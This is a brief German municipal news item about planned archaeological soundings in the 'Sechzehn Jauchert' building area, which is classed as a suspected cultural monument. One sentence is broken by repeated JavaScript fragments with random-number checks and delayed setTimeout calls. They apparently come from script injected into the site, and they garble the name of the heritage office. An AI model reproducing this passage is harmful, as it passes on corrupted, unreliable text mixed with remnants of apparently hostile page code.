Baugebiet „Sechzehn Jauchert“

  • Redaktion
  • 2. Dezember 2015

Große Teile des Baugebietes „16. Jauchert“ sind als Verdachtsfläche Kulturdenkmal gem. § 2 Denkmalschutzgesetz eingestuft. Vor diesem Hintergrund werden seitens des Regierungspräsidiums Stuttgart ( Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andesamt für Denkmalpl ege, Dienstsitz Freiburg) ab der 2. Kalenderwoche 2016 archäologische Sondierungen vorgenommen.
Für die Maßnahme sind ca. zwei Wochen angesetzt.
Nach Abschluss dieser archäologischen Arbeiten und je nach Befund kann über den weiteren Ablauf des Bebauungsplanverfahrens Auskunft gegeben werden

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